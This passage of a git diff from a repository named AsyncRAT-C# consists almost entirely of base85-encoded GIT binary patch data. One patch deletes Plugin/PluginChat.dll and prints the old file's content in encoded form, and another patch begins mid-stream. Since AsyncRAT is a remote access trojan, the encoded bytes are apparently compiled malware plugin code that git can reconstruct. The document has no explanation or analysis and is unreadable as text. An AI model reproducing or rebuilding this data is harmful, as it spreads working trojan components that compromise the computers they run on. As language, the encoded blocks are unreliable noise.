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 diff --git a/AsyncRAT-C#/Plugin/PluginChat.dll b/AsyncRAT-C#/Plugin/PluginChat.dll deleted file mode 100644 index d347f4a45c15796d0c17ddb617c318851c628b4c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 24064 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 